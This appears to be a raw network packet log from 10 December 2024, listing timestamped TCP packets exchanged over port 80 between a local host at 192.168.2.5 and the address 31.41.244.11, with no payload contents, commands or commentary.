Dec 10, 2024 02:51:10.248338938 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.248475075 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.248519897 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.252944946 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.252994061 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.253134012 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.253176928 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.257622957 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.257678986 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.257715940 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.257755995 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.261241913 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.261296034 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.261337996 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.261430979 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.264908075 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.264962912 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.265088081 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.265136003 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.268556118 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.268600941 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.268769979 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.268815041 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.272160053 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.272208929 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.272253990 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.272299051 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.275799036 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.275841951 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.275890112 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.275933027 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.279428005 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.279476881 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.279519081 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.279567003 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.283086061 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.283214092 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.283241034 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.283253908 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.286741018 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.286789894 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.286899090 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.286946058 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.290422916 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.290472984 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.290529013 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.290569067 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.318584919 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.318662882 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.318751097 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.318799973 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.391489983 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.391541004 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.391603947 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.391650915 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.392941952 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.392988920 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.393013954 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.393322945 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.395827055 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.395869017 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.395910025 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.396121979 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.398765087 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.398812056 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.398852110 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.398899078 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.401556015 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.401606083 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.401671886 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.401710987 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.404309034 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.404359102 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.404405117 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.404444933 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.407038927 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.407082081 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.407136917 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.407179117 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.409745932 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.409795046 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.409833908 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.409876108 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.412352085 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.412398100 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.412445068 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.412493944 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.414911985 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.414964914 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.415029049 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.415064096 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.417462111 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.417517900 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.417598963 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.417643070 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.419925928 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.419981956 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.420015097 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.420058012 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.422420025 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.422477961 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.422525883 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.422566891 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.424954891 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.425017118 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.425056934 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.425096989 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.427397966 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.427454948 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.427504063 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.427545071 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.429903030 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.429958105 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.430030107 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.430078030 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.432375908 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.432434082 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.432512045 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.432559967 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.434947014 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.435005903 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.435043097 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.435086966 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.437422037 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.437478065 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.437598944 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.437644958 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.439867973 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.439928055 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.439965963 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.440004110 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.442389965 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.442476988 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.442521095 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.442563057 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.444844007 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.444905996 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.444946051 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.444992065 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.446613073 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.446686983 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.446811914 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.446851015 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.448426962 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.448478937 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.448515892 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.448555946 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.450180054 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.450237036 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.450299025 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.450344086 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.451957941 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.452013016 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.452052116 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.452091932 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.453742981 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.453798056 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.453835964 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.453876019 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.455534935 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.455575943 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.455621958 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.455660105 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.457284927 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.457328081 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.457406044 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.457441092 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.459100962 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.459141970 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.459295988 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.459335089 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.460872889 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.460923910 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.460978985 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.461021900 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.462667942 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.462718964 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.462836981 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.462882042 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.464468002 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.464510918 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.464574099 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.464643002 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.466202974 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.466249943 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.466362953 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.466408968 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.467968941 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.468015909 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.468086958 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.468126059 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.469759941 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.469804049 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.469876051 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.469970942 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.471525908 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.471571922 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.471648932 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.471687078 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.473315954 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.473365068 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.473427057 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.473465919 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.475090027 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.475145102 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.475182056 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.475219965 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.592822075 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.592902899 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.592915058 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.592946053 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.593586922 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.593632936 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.593727112 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.593765974 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.594624996 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.594665051 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.594737053 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.594777107 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.599220991 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.599232912 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.599244118 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.599277020 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.599337101 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.599374056 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.599416018 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.599877119 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.599916935 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.600053072 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.600111961 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.600275040 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.600317955 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.600389004 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.600428104 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.601658106 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.601703882 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.601779938 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.601818085 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.603082895 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.603127003 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.603171110 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.603209972 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.604475975 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.604530096 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.604592085 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.604633093 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.605879068 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.605918884 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.605992079 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.606030941 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.607328892 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.607368946 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.607408047 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.607445955 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.608712912 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.608757973 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.608824015 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.608864069 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.610110998 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.610147953 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.610229969 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.610270977 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.611509085 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.611550093 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.611630917 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.611670971 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.612927914 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.612972021 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.613327026 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.613368034 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.616720915 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.616733074 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.616750002 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.616779089 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.616808891 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.616894007 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.616934061 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.618092060 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.618135929 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.618238926 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.618282080 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.619569063 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.619611025 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.619718075 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.619755983 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.620932102 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.620975971 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.621093988 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.621133089 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.622289896 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.622334003 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.622481108 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.622522116 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.623639107 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.623682022 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.623785019 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.623827934 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.625230074 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.625250101 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.625276089 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.625291109 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.626503944 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.626545906 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.626672029 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.626713991 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.628015995 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.628058910 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.628163099 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.628217936 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.629291058 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.629329920 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.629466057 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.629506111 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.630896091 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.630916119 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.630938053 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.630951881 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.632215977 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.632236958 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.632260084 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.632277966 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.633690119 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.633702040 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.633730888 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.633742094 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.635158062 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.635169983 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.635199070 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.635211945 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.636504889 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.636517048 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.636544943 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.636559010 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.637794018 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.637831926 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.637937069 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.637972116 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.639235020 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.639277935 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.639413118 CET	80	49859	31.41.244.11	192.168.2.5
